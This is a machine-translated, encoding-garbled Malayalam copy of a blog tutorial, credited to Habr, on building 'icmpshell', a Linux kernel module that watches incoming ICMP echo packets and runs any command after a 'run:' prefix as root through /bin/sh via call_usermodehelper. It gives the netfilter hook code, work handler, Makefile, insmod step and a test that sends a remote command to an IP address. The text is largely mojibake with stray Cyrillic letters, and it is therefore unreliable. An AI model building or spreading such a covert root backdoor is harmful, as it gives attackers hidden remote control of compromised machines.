. เดเดคเตเดฐเต เดธเตเดเตเดเดฑเตเดฑเต เดฌเดซเตผ เดเดฃเต, เดเดฐเต เดชเดพเดเตเดเดฑเตเดฑเดฟเดจเตเดเตเดเตเดฑเดฟเดเตเดเต เดฒเดญเตเดฏเดฎเดพเดฏ เดเดฒเตเดฒเดพ เดตเดฟเดตเดฐเดเตเดเดณเตเด เด เดเดเตเดเตเดจเตเดจ เด เดเดฟเดธเตเดฅเดพเดจ เดกเดพเดฑเตเดฑเดพ เดเดเดจ. - เดซเดเดเตโเดทเตป เดชเตเดฐเดตเตผเดคเตเดคเดฟเดเตเดเตเดจเตเดจเดคเดฟเดจเต, เดจเดฟเดเตเดเตพเดเตเดเต เดฐเดฃเตเดเต เดเดฑเตเดฑเดฑเตเดฑเตเดฑเดฑเตเดเตพ เดเตพเดชเตเดชเตเดเต เดฐเดฃเตเดเต เดเดเดจเดเดณเตเด เดจเดฟเดฐเดตเดงเดฟ เดตเตเดฐเดฟเดฏเดฌเดฟเดณเตเดเดณเตเด เดเดตเดถเตเดฏเดฎเดพเดฃเต.
struct iphdr *iph; struct icmphdr *icmph; unsigned char *user_data; unsigned char *tail; unsigned char *i; int j = 0;
- เดจเดฎเตเดเตเดเต เดฏเตเดเตเดคเดฟเดฏเดฟเตฝ เดจเดฟเดจเตเดจเต เดเดฐเดเดญเดฟเดเตเดเดพเด. เดฎเตเดกเตเดฏเตเตพ เดชเตเดฐเดตเตผเดคเตเดคเดฟเดเตเดเตเดจเตเดจเดคเดฟเดจเต, ICMP เดเดเตเดเต เดเดดเดฟเดเตเดฏเตเดณเตเดณ เดชเดพเดเตเดเดฑเตเดฑเตเดเดณเตเดจเตเดจเตเด เดเดตเดถเตเดฏเดฎเดฟเดฒเตเดฒ, เด
เดคเดฟเดจเดพเตฝ เดเดเตเดเตพ เดฌเดฟเตฝเดฑเตเดฑเต-เดเตป เดซเดเดเตโเดทเดจเตเดเตพ เดเดชเดฏเตเดเดฟเดเตเดเต เดฌเดซเตผ เดชเดพเดดเตโเดธเต เดเตเดฏเตเดฏเตเดเดฏเตเด ICMP เด
เดฒเตเดฒเดพเดคเตเดคเดคเตเด เดเดเตเดเต เด
เดฒเตเดฒเดพเดคเตเดคเดคเตเดฎเดพเดฏ เดเดฒเตเดฒเดพ เดชเดพเดเตเดเดฑเตเดฑเตเดเดณเตเด เดตเดฒเดฟเดเตเดเตเดฑเดฟเดฏเตเดเดฏเตเด เดเตเดฏเตเดฏเตเดจเตเดจเต. เดฎเดเดเตเดเตเด
NF_ACCEPT
เดชเดพเดเตเดเตเดเดฟเดจเตเดฑเต เดธเตเดตเตเดเดพเดฐเตเดฏเดค เดเดจเตเดจเดพเดฃเต เด เตผเดคเตเดฅเดฎเดพเดเตเดเตเดจเตเดจเดคเต, เดเดจเตเดจเดพเตฝ เดคเดฟเดฐเดฟเดเต เดจเตฝเดเตเดจเตเดจเดคเดฟเดฒเตเดเต เดจเดฟเดเตเดเตพเดเตเดเต เดชเดพเดเตเดเตเดเตเดเตพ เดเดชเตเดเตเดทเดฟเดเตเดเดพเดจเตเด เดเดดเดฟเดฏเตเดNF_DROP
.iph = ip_hdr(skb); icmph = icmp_hdr(skb); if (iph->protocol != IPPROTO_ICMP) { return NF_ACCEPT; } if (icmph->type != ICMP_ECHO) { return NF_ACCEPT; }
เดเดชเดฟ เดคเดฒเดเตเดเตเดเตเดเตเดเตพ เดชเดฐเดฟเดถเตเดงเดฟเดเตเดเดพเดคเต เดเดจเตเดคเต เดธเดเดญเดตเดฟเดเตเดเตเดฎเตเดจเตเดจเต เดเดพเตป เดชเดฐเตเดเตเดทเดฟเดเตเดเดฟเดเตเดเดฟเดฒเตเดฒ. เด เดงเดฟเด เดชเดฐเดฟเดถเตเดงเดจเดเดณเดฟเดฒเตเดฒเดพเดคเต เดญเดฏเดเตเดเดฐเดฎเดพเดฏ เดเดจเตเดคเตเดเตเดเดฟเดฒเตเด เดธเดเดญเดตเดฟเดเตเดเตเดฎเตเดจเตเดจเต เดธเดฟเดฏเตเดเตเดเตเดฑเดฟเดเตเดเตเดณเตเดณ เดเดจเตเดฑเต เดเดฑเตเดฑเดตเตเด เดเตเดฑเดเตเด เด เดฑเดฟเดตเต เดเดจเตเดจเตเดเต เดชเดฑเดฏเตเดจเตเดจเต. เดจเดฟเดเตเดเตพ เดเดคเดฟเตฝ เดจเดฟเดจเตเดจเต เดเดจเตเดจเต เดชเดฟเดจเตเดคเดฟเดฐเดฟเดชเตเดชเดฟเดเตเดเดพเตฝ เดเดพเตป เดธเดจเตเดคเตเดทเดฟเดเตเดเตเด!
- เดเดชเตเดชเตเตพ เดชเดพเดเตเดเตเดเต เดจเดฟเดเตเดเตพเดเตเดเต เดเดตเดถเตเดฏเดฎเตเดณเตเดณ เดคเดฐเดคเตเดคเดฟเดฒเตเดณเตเดณเดคเดพเดฃเต, เดจเดฟเดเตเดเตพเดเตเดเต เดกเดพเดฑเตเดฑ เดเดเตโเดธเตโเดเตเดฐเดพเดเตโเดฑเตเดฑเตเดเตเดฏเตเดฏเดพเดจเดพเดเตเด. เดเดฐเต เดฌเดฟเตฝเดฑเตเดฑเต-เดเตป เดซเดเดเตโเดทเตป เดเดฒเตเดฒเดพเดคเต, เดจเดฟเดเตเดเตพ เดเดฆเตเดฏเด เดชเตเดฒเตเดกเดฟเดจเตเดฑเต เดคเตเดเดเตเดเดคเตเดคเดฟเดฒเตเดเตเดเต เดเดฐเต เดชเตเดฏเดฟเดจเตเดฑเตผ เดจเตเดเตเดฃเตเดเดคเตเดฃเตเดเต. เดเดคเต เดเดฐเดฟเดเดคเตเดคเต เดเตเดฏเตเดคเต, เดจเดฟเดเตเดเตพ เดเดธเดฟเดเดเดชเดฟ เดคเดฒเดเตเดเตเดเตเดเดฟเดจเตเดฑเต เดคเตเดเดเตเดเดคเตเดคเดฟเดฒเตเดเตเดเต เดชเตเดฏเดฟเดจเตเดฑเตผ เดเดเตเดคเตเดคเต เด เดนเตเดกเดฑเดฟเดจเตเดฑเต เดตเดฒเตเดชเตเดชเดคเตเดคเดฟเดฒเตเดเตเดเต เดจเตเดเตเดเตเดฃเตเดเดคเตเดฃเตเดเต. เดเดฒเตเดฒเดพเด เดเดเดจ เดเดชเดฏเตเดเดฟเดเตเดเตเดจเตเดจเต
icmph
:user_data = (unsigned char *)((unsigned char *)icmph + (sizeof(icmph)));
เดนเตเดกเดฑเดฟเดจเตเดฑเต เด เดตเดธเดพเดจเด เดชเตเดฒเตเดกเดฟเดจเตเดฑเต เด เดตเดธเดพเดจเดตเตเดฎเดพเดฏเดฟ เดชเตเดฐเตเดคเตเดคเดชเตเดชเตเดเดฃเดskb
เด เดคเดฟเดจเดพเตฝ, เด เดจเตเดฌเดจเตเดง เดเดเดจเดฏเดฟเตฝ เดจเดฟเดจเตเดจเต เดเดฃเดต เดฎเดพเตผเดเดเตเดเตพ เดเดชเดฏเตเดเดฟเดเตเดเต เดเดเตเดเตพ เดเดคเต เดจเตเดเตเดจเตเดจเต:tail = skb_tail_pointer(skb);
.
เดเดฟเดคเตเดฐเด เดฎเตเดทเตเดเดฟเดเตเดเดชเตเดชเตเดเตเดเตเดเดตเดฟเดเต เดจเดฟเดจเตเดจเต , เดธเตเดเตเดเดฑเตเดฑเต เดฌเดซเดฑเดฟเดจเตเดเตเดเตเดฑเดฟเดเตเดเต เดจเดฟเดเตเดเตพเดเตเดเต เดเตเดเตเดคเตฝ เดตเดพเดฏเดฟเดเตเดเดพเด. - เดคเตเดเดเตเดเดคเตเดคเดฟเดฒเตเดเตเดเตเด เด
เดตเดธเดพเดจเดคเตเดคเดฟเดฒเตเดเตเดเตเด เดจเดฟเดเตเดเตพเดเตเดเต เดชเตเดฏเดฟเดจเตเดฑเดฑเตเดเตพ เดฒเดญเดฟเดเตเดเตเดเดดเดฟเดเตเดเดพเตฝ, เดจเดฟเดเตเดเตพเดเตเดเต เดกเดพเดฑเตเดฑ เดเดฐเต เดธเตเดเตเดฐเดฟเดเดเดฟเดฒเตเดเตเดเต เดชเดเตผเดคเตเดคเดพเดจเดพเดเตเด
cmd_string
, เดเดฐเต เดชเตเดฐเดฟเดซเดฟเดเตโเดธเดฟเดจเตเดฑเต เดธเดพเดจเตเดจเดฟเดงเตเดฏเดคเตเดคเดฟเดจเดพเดฏเดฟ เดเดคเต เดชเดฐเดฟเดถเตเดงเดฟเดเตเดเตเดrun:
เดเตเดเดพเดคเต, เดเดจเตเดจเตเดเดฟเตฝ เดชเดพเดเตเดเตเดเต เดจเดทเตโเดเดชเตเดชเตเดเตเดเดพเตฝ เด เดคเต เดเดชเตเดเตเดทเดฟเดเตเดเตเด, เด เดฒเตเดฒเตเดเตเดเดฟเตฝ เด เดชเตเดฐเดฟเดซเดฟเดเตโเดธเต เดจเตเดเตเดเด เดเตเดฏเตโเดคเต เดตเตเดฃเตเดเตเด เดตเดฐเดฟ เดตเตเดฃเตเดเตเด เดเดดเตเดคเตเด. - เด
เดคเตเดฐเดฏเตเดฏเตเดณเตเดณเต, เดเดชเตเดชเตเตพ เดจเดฟเดเตเดเตพเดเตเดเต เดฎเดฑเตเดฑเตเดฐเต เดนเดพเตปเดกเตเดฒเดฑเต เดตเดฟเดณเดฟเดเตเดเดพเด:
schedule_work(&my_work);
. เด เดคเตเดคเดฐเดฎเตเดฐเต เดเตเดณเดฟเดฒเตเดเตเดเต เดเดฐเต เดชเดพเดฐเดพเดฎเตเดฑเตเดฑเตผ เดเตเดฎเดพเดฑเดพเตป เดเดดเดฟเดฏเดพเดคเตเดคเดคเดฟเดจเดพเตฝ, เดเดฎเดพเตปเดกเตเดณเตเดณ เดฒเตเตป เดเดเตเดณเดฎเดพเดฏเดฟเดฐเดฟเดเตเดเดฃเด.schedule_work()
เดชเดพเดธเดพเดฏ เดเดเดจเดฏเตเดฎเดพเดฏเดฟ เดฌเดจเตเดงเดชเตเดชเตเดเตเด เดซเดเดเตโเดทเตป เดเดพเดธเตโเดเต เดทเตเดกเตเดฏเตเดณเดฑเดฟเดจเตเดฑเต เดชเตเดคเตเดตเดพเดฏ เดเตเดฏเตเดตเดฟเตฝ เดธเตเดฅเดพเดชเดฟเดเตเดเตเดเดฏเตเด เดชเตเตผเดคเตเดคเดฟเดฏเดพเดเตเดเตเดเดฏเตเด เดเตเดฏเตเดฏเตเด, เดเดฎเดพเตปเดกเต เดชเตเตผเดคเตเดคเดฟเดฏเดพเดเตเดจเตเดจเดคเตเดตเดฐเต เดเดพเดคเตเดคเดฟเดฐเดฟเดเตเดเดพเดคเดฟเดฐเดฟเดเตเดเดพเตป เดจเดฟเดเตเดเดณเต เด เดจเตเดตเดฆเดฟเดเตเดเตเดจเตเดจเต. เดนเตเดเตเดเต เดตเดณเดฐเต เดตเตเดเดคเตเดคเดฟเดฒเดพเดฏเดฟเดฐเดฟเดเตเดเดฃเด เดเดจเตเดจเดคเดฟเดจเดพเตฝ เดเดคเต เดเดตเดถเตเดฏเดฎเดพเดฃเต. เด เดฒเตเดฒเตเดเตเดเดฟเตฝ, เดเดจเตเดจเตเด เดเดฐเดเดญเดฟเดเตเดเดฟเดฒเตเดฒ เด เดฒเตเดฒเตเดเตเดเดฟเตฝ เดจเดฟเดเตเดเตพเดเตเดเต เดเดฐเต เดเตเตผเดฃเตฝ เดชเดพเดจเดฟเดเต เดฒเดญเดฟเดเตเดเตเด เดเดจเตเดจเดคเดพเดฃเต เดจเดฟเดเตเดเดณเตเดเต เดคเดฟเดฐเดเตเดเตเดเตเดชเตเดชเต. เดเดพเดฒเดคเดพเดฎเดธเด เดฎเดฐเดฃเด เดชเตเดฒเตเดฏเดพเดฃเต! - เด เดคเตเดฐเดฏเตเดฏเตเดณเตเดณเต, เด เดจเตเดฌเดจเตเดง เดฑเดฟเดเตเดเตเตบ เดเดชเดฏเตเดเดฟเดเตเดเต เดจเดฟเดเตเดเตพเดเตเดเต เดชเดพเดเตเดเตเดเต เดธเตเดตเตเดเดฐเดฟเดเตเดเดพเด.
เดเดชเดฏเตเดเตเดคเต เดธเตเดฅเดฒเดคเตเดคเต เดเดฐเต เดชเตเดฐเตเดเตเดฐเดพเดฎเดฟเดฒเตเดเตเดเต เดตเดฟเดณเดฟเดเตเดเตเดจเตเดจเต
เด เดชเตเดฐเดตเตผเดคเตเดคเดจเด เดเดฑเตเดฑเดตเตเด เดฎเดจเดธเตเดธเดฟเดฒเดพเดเตเดเดพเดตเตเดจเตเดจเดคเตเดฏเตเดณเตเดณเต. เด
เดคเดฟเดจเตเดฑเต เดชเตเดฐเต เดจเตฝเดเดฟ DECLARE_WORK()
, เดคเดฐเดตเตเด เดธเตเดตเตเดเดพเดฐเตเดฏเดฎเดพเดฏ เดตเดพเดฆเดเตเดเดณเตเด เดฐเดธเดเดฐเดฎเดฒเตเดฒ. เดเดเตเดเตพ เดเดฎเดพเตปเดกเต เดเดชเดฏเตเดเดฟเดเตเดเต เดฒเตเตป เดเดเตเดคเตเดคเต เด
เดคเต เดชเตเตผเดฃเตเดฃเดฎเดพเดฏเตเด เดทเตเดฒเตเดฒเดฟเดฒเตเดเตเดเต เดเดเดคเตเดคเดฟเดตเดฟเดเตเดจเตเดจเต. เดชเดพเดดเตโเดธเดฟเดเดเต, เดฌเตเดจเดฑเดฟเดเตพเดเตเดเดพเดฏเดฟ เดคเดฟเดฐเดฏเดฒเตเด เดฎเดฑเตเดฑเตเดฒเตเดฒเดพ เดเดพเดฐเตเดฏเดเตเดเดณเตเด เด
เดตเตป เดเตเดเดพเดฐเตเดฏเด เดเตเดฏเตเดฏเดเตเดเต.
static void work_handler(struct work_struct * work)
{
static char *argv[] = {"/bin/sh", "-c", cmd_string, NULL};
static char *envp[] = {"PATH=/bin:/sbin", NULL};
call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);
}
- เดธเตเดเตเดฐเดฟเดเดเตเดเดณเตเดเต เดเดฐเต เดจเดฟเดฐเดฏเดฟเดฒเตเดเตเดเต เดเตผเดเตเดฏเตเดฎเตเดจเตเดฑเตเดเตพ เดธเดเตเดเดฎเดพเดเตเดเตเด
argv[]
. เดชเตเดฐเตเดเตเดฐเดพเดฎเตเดเตพ เดฏเดฅเดพเตผเดคเตเดฅเดคเตเดคเดฟเตฝ เด เดฐเตเดคเดฟเดฏเดฟเดฒเดพเดฃเต เดจเดเดชเตเดชเดฟเดฒเดพเดเตเดเตเดจเตเดจเดคเตเดจเตเดจเต เดเดฒเตเดฒเดพเดตเตผเดเตเดเตเด เด เดฑเดฟเดฏเดพเดฎเตเดจเตเดจเต เดเดพเตป เด เดจเตเดฎเดพเดจเดฟเดเตเดเตเดจเตเดจเต, เด เดฒเตเดฒเดพเดคเต เดธเตเดชเตเดธเตเดเดณเตเดณเตเดณ เดคเตเดเตผเดเตเดเดฏเดพเดฏ เดตเดฐเดฟเดฏเดฒเตเดฒ. - เดชเดฐเดฟเดธเตเดฅเดฟเดคเดฟ เดตเตเดฐเดฟเดฏเดฌเดฟเดณเตเดเตพ เดธเดเตเดเดฎเดพเดเตเดเตเด. เด
เดตเดฏเตเดฒเตเดฒเดพเด เดเดคเดฟเดจเดเด เดธเดเดฏเตเดเดฟเดชเตเดชเดฟเดเตเดเดฟเดเตเดเตเดฃเตเดเตเดจเตเดจ เดชเตเดฐเดคเตเดเตเดทเดฏเดฟเตฝ, เดเดฑเตเดฑเดตเตเด เดเตเดฑเดเตเด เดชเดพเดคเดเดณเตเดณเตเดณ PATH เดฎเดพเดคเตเดฐเด เดเดพเตป เดเตเตผเดคเตเดคเต
/bin
ั/usr/bin
ะธ/sbin
ั/usr/sbin
. เดฎเดฑเตเดฑเต เดชเดพเดคเดเตพ เดชเตเดฐเดพเดฏเตเดเดฟเดเดฎเดพเดฏเดฟ เดตเดณเดฐเต เด เดชเตเตผเดตเดฎเดพเดฏเดฟ เดฎเดพเดคเตเดฐเดฎเต เดชเดฐเดฟเดเดฃเดฟเดเตเดเต. - เดเตเดฏเตเดคเต, เดจเดฎเตเดเตเดเต เดเตเดฏเตเดฏเดพเด! เดเตเตผเดฃเตฝ เดชเตเดฐเดตเตผเดคเตเดคเดจเด
call_usermodehelper()
เดชเตเดฐเดตเตเดถเดจเด เดธเตเดตเตเดเดฐเดฟเดเตเดเตเดจเตเดจเต. เดฌเตเดจเดฑเดฟเดฏเดฟเดฒเตเดเตเดเตเดณเตเดณ เดชเดพเดค, เดเตผเดเตเดฏเตเดฎเตเดจเตเดฑเตเดเดณเตเดเต เดจเดฟเดฐ, เดชเดฐเดฟเดธเตเดฅเดฟเดคเดฟ เดตเตเดฐเดฟเดฏเดฌเดฟเดณเตเดเดณเตเดเต เดจเดฟเดฐ. เดเดเตเดธเดฟเดเตเดฏเตเดเตเดเดฌเดฟเตพ เดซเดฏเดฒเดฟเดฒเตเดเตเดเตเดณเตเดณ เดชเดพเดคเตเดคเต เดเดฐเต เดชเตเดฐเดคเตเดฏเตเด เดเตผเดเตเดฏเตเดฎเตเดจเตเดฑเดพเดฏเดฟ เดเดเดจเตเดจเตเดชเตเดเตเดจเตเดจเดคเดฟเดจเตเดฑเต เด เตผเดคเตเดฅเด เดเดฒเตเดฒเดพเดตเตผเดเตเดเตเด เดฎเดจเดธเตเดธเดฟเดฒเดพเดเตเดฎเตเดจเตเดจเต เดเดตเดฟเดเต เดเดพเตป เดเดฐเตเดคเตเดจเตเดจเต, เดชเดเตเดทเต เดจเดฟเดเตเดเตพเดเตเดเต เดเตเดฆเดฟเดเตเดเดพเด. เด เดตเดธเดพเดจ เดเตผเดเตเดฏเตเดฎเตเดจเตเดฑเต เดชเตเดฐเดเตเดฐเดฟเดฏ เดชเตเตผเดคเตเดคเดฟเดฏเดพเดเดพเตป เดเดพเดคเตเดคเดฟเดฐเดฟเดเตเดเดฃเดฎเต เดเดจเตเดจเต เดตเตเดฏเดเตเดคเดฎเดพเดเตเดเตเดจเตเดจเต (UMH_WAIT_PROC
), เดชเตเดฐเดเตเดฐเดฟเดฏ เดเดฐเดเดญเด (UMH_WAIT_EXEC
) เด เดฒเตเดฒเตเดเตเดเดฟเตฝ เดเดเตเดเตเด เดเดพเดคเตเดคเดฟเดฐเดฟเดเตเดเดฐเตเดคเต (UMH_NO_WAIT
). เดเตเดฑเดเตเดเต เดเตเดเดฟ เดเดฃเตเดเตUMH_KILLABLE
, เดเดพเตป เด เดคเตเดจเตเดจเตเด เดจเตเดเตเดเดฟเดฏเดฟเดฒเตเดฒ.
เดจเดฟเดฏเดฎเดธเดญ
เดเตเตผเดฃเตฝ เดฎเตเดกเตเดฏเตเดณเตเดเดณเตเดเต เด
เดธเดเดฌเตเดฒเดฟ เดเตเตผเดฃเตฝ เดฎเตเดเตเดเต-เดซเตเดฐเตเดฏเดฟเด เดตเตผเดเตเดเดฟเดฒเตเดเตเดฏเดพเดฃเต เดจเดเดคเตเดคเตเดจเตเดจเดคเต. เดตเดฟเดณเดฟเดเตเดเต make
เดเตเตผเดฃเตฝ เดชเดคเดฟเดชเตเดชเตเดฎเดพเดฏเดฟ เดฌเดจเตเดงเดฟเดชเตเดชเดฟเดเตเดเดฟเดฐเดฟเดเตเดเตเดจเตเดจ เดเดฐเต เดชเตเดฐเดคเตเดฏเตเด เดกเดฏเดฑเดเตเดเดฑเดฟเดฏเตเดเต เดเดณเตเดณเดฟเตฝ (เดเดตเดฟเดเต เดจเดฟเตผเดตเดเดฟเดเตเดเดฟเดฐเดฟเดเตเดเตเดจเตเดจเดคเต: KERNELDIR:=/lib/modules/$(shell uname -r)/build
), เดเตเดเดพเดคเต เดฎเตเดกเตเดฏเตเดณเดฟเดจเตเดฑเต เดธเตเดฅเดพเดจเด เดตเตเดฐเดฟเดฏเดฌเดฟเดณเดฟเดฒเตเดเตเดเต เดเตเดฎเดพเดฑเตเดจเตเดจเต M
เดตเดพเดฆเดเตเดเดณเดฟเตฝ. icmpshell.ko เดเด เดเตเดฒเตเตป เดเดพเตผเดเตเดฑเตเดฑเตเดเดณเตเด เด เดเดเตเดเดเตเดเตเดเต เดชเตเตผเดฃเตเดฃเดฎเดพเดฏเตเด เดเดชเดฏเตเดเดฟเดเตเดเตเดจเตเดจเต. IN obj-m
เดเดฐเต เดฎเตเดกเตเดฏเตเดณเดพเดฏเดฟ เดชเดฐเดฟเดตเตผเดคเตเดคเดจเด เดเตเดฏเตเดฏเดชเตเดชเตเดเตเดจเตเดจ เดเดฌเตโเดเดเตเดฑเตเดฑเต เดซเดฏเดฒเดฟเดจเต เดธเตเดเดฟเดชเตเดชเดฟเดเตเดเตเดจเตเดจเต. เดฑเตเดฎเตเดเตเดเต เดเตเดฏเตเดฏเตเดจเตเดจ เดตเดพเดเตเดฏเดเดเดจ main.o
ะฒ icmpshell.o
(icmpshell-objs = main.o
) เดเดจเดฟเดเตเดเต เดตเดณเดฐเต เดฏเตเดเตเดคเดฟเดธเดนเดฎเดพเดฏเดฟ เดคเตเดจเตเดจเตเดจเตเดจเดฟเดฒเตเดฒ, เดชเดเตเดทเต เด
เดเตเดเดจเตเดฏเดพเดเดเตเดเต.
KERNELDIR:=/lib/modules/$(shell uname -r)/build
obj-m = icmpshell.o
icmpshell-objs = main.o
all: icmpshell.ko
icmpshell.ko: main.c
make -C $(KERNELDIR) M=$(PWD) modules
clean:
make -C $(KERNELDIR) M=$(PWD) clean
เดเดเตเดเตพ เดถเตเดเดฐเดฟเดเตเดเตเดจเตเดจเต: make
. เดฒเตเดพเดกเดฟเดเดเต: insmod icmpshell.ko
. เดเตเดฏเตเดคเต, เดจเดฟเดเตเดเตพเดเตเดเต เดชเดฐเดฟเดถเตเดงเดฟเดเตเดเดพเด: sudo ./send.py 45.11.26.232 "date > /tmp/test"
. เดจเดฟเดเตเดเดณเตเดเต เดฎเตเดทเตเดจเดฟเตฝ เดเดฐเต เดซเดฏเตฝ เดเดฃเตเดเตเดเตเดเดฟเตฝ /tmp/test
เด
เดญเตเดฏเตผเดคเตเดฅเดจ เด
เดฏเดเตเด เดคเตเดฏเดคเดฟ เด
เดคเดฟเตฝ เด
เดเดเตเดเดฟเดฏเดฟเดฐเดฟเดเตเดเตเดจเตเดจเต, เด
เดคเดฟเดจเตผเดคเตเดฅเด เดจเดฟเดเตเดเตพ เดเดฒเตเดฒเดพเด เดถเดฐเดฟเดฏเดพเดฏเดฟ เดเตเดฏเตเดคเตเดตเตเดจเตเดจเตเด เดเดพเตป เดเดฒเตเดฒเดพเด เดถเดฐเดฟเดฏเดพเดฏเดฟ เดเตเดฏเตเดคเตเดตเตเดจเตเดจเตเด เด
เตผเดคเตเดฅเดฎเดพเดเตเดเตเดจเตเดจเต.
เดคเตเดฐเตเดฎเดพเดจเด
เดเดฃเดต เดตเดฟเดเดธเดจเดตเตเดฎเดพเดฏเดฟ เดฌเดจเตเดงเดชเตเดชเตเดเตเด เดเดจเตเดฑเต เดเดฆเตเดฏ เด
เดจเตเดญเดตเด เดเดพเตป เดชเตเดฐเดคเตเดเตเดทเดฟเดเตเดเดคเดฟเดฒเตเด เดตเดณเดฐเต เดเดณเตเดชเตเดชเดฎเดพเดฏเดฟเดฐเตเดจเตเดจเต. เดเดเดชเตเดฒเตผ เดธเตเดเดจเดเดณเดฟเดฒเตเด เดเตเดเดฟเตพ เดซเดฒเดเตเดเดณเดฟเดฒเตเด เดถเตเดฐเดฆเตเดง เดเตเดจเตเดฆเตเดฐเตเดเดฐเดฟเดเตเดเต เดธเดฟเดฏเดฟเตฝ เดตเดฟเดเดธเดฟเดชเตเดชเดฟเดเตเด เด
เดจเตเดญเดตเด เดเดฒเตเดฒเตเดเตเดเดฟเดฒเตเด, เดเดจเดฟเดเตเดเต เดเดฐเต เดตเตผเดเตเดเดฟเดเดเต เดฎเตเดกเตเดฏเตเตพ เดเดดเตเดคเดพเดจเตเด เดเดฐเต เดเตเตผเดฃเตฝ เดนเดพเดเตเดเดฑเตเดชเตเดชเตเดฒเต เดคเตเดจเตเดจเดพเดจเตเด เด
เดคเต เดธเดฎเดฏเด เดเดฐเต เดธเตโเดเตเดฐเดฟเดชเตเดฑเตเดฑเต เดเดฟเดกเตเดกเดฟเดฏเตเดชเตเดชเตเดฒเต เดคเตเดจเตเดจเดพเดจเตเด เดเดดเดฟเดเตเดเต. เดเตเดเดพเดคเต, เดเดพเตป เดเตเตผเดฃเตฝ เดจเตเดฏเตเดฌเตเดธเต เดเดพเดจเดฒเดฟเดฒเตเดเตเดเต เดชเตเดฏเดฟ, เด
เดตเดฟเดเต เด
เดตเตผ เดเดจเตเดจเตเดเต เดเดชเดฏเตเดเดฟเดเตเดเดพเตป เดชเดฑเดเตเดเต schedule_work()
เดตเดฟเดณเดฟเดเตเดเตเดจเตเดจเดคเดฟเดจเต เดชเดเดฐเด call_usermodehelper()
เดนเตเดเตเดเต เดเดณเตเดณเดฟเตฝ เดคเดจเตเดจเต เด
เดตเดจเต เดฒเดเตเดเดฟเดชเตเดชเดฟเดเตเดเต, เดเดฐเต เด
เดดเดฟเดฎเดคเดฟเดฏเต เดถเดฐเดฟเดฏเดพเดฏเดฟ เดธเดเดถเดฏเดฟเดเตเดเต. เดเดจเตเดฑเต เดเดดเดฟเดตเตเดธเดฎเดฏเดเตเดเดณเดฟเตฝ เดเดฐเต เดเดดเตโเดเดฏเดฟเดฒเต เดตเดฟเดเดธเดจเดคเตเดคเดฟเดจเต เดจเตเดฑเต เดตเดฐเดฟ เดเตเดกเต เดเตเดฒเดตเดพเดฏเดฟ. เดธเดฟเดธเตเดฑเตเดฑเด เดตเดฟเดเดธเดจเดคเตเดคเดฟเดจเตเดฑเต เดธเดเตเดเตเตผเดฃเตเดฃเดคเดฏเตเดเตเดเตเดฑเดฟเดเตเดเตเดณเตเดณ เดเดจเตเดฑเต เดตเตเดฏเดเตเดคเดฟเดชเดฐเดฎเดพเดฏ เดฎเดฟเดฅเตเดฏเดฏเต เดจเดถเดฟเดชเตเดชเดฟเดเตเด เดเดฐเต เดตเดฟเดเดฏเดเดฐเดฎเดพเดฏ เด
เดจเตเดญเดตเด.
Github-เตฝ เดเดฐเต เดเตเดกเต เด เดตเดฒเตเดเดจเด เดจเดเดคเตเดคเดพเตป เดเดฐเตเดเตเดเดฟเดฒเตเด เดธเดฎเตเดฎเดคเดฟเดเตเดเตเดเดฏเดพเดฃเตเดเตเดเดฟเตฝ, เดเดพเตป เดจเดจเตเดฆเดฟเดฏเตเดณเตเดณเดตเดจเดพเดฏเดฟเดฐเดฟเดเตเดเตเด. เดเดพเตป เดเดฐเตเดชเดพเดเต เดฎเดฃเตเดเดคเตเดคเดฐเดเตเดเตพ เดเตเดฏเตเดคเดฟเดเตเดเตเดฃเตเดเตเดจเตเดจเต เดเดจเดฟเดเตเดเต เดเดฑเดชเตเดชเตเดฃเตเดเต, เดชเตเดฐเดคเตเดฏเตเดเดฟเดเตเดเต เดธเตเดเตเดฐเดฟเดเดเตเดเตพ เดเดชเดฏเตเดเดฟเดเตเดเต เดชเตเดฐเดตเตผเดคเตเดคเดฟเดเตเดเตเดฎเตเดชเตเตพ.
เด
เดตเดฒเดเดฌเด: www.habr.com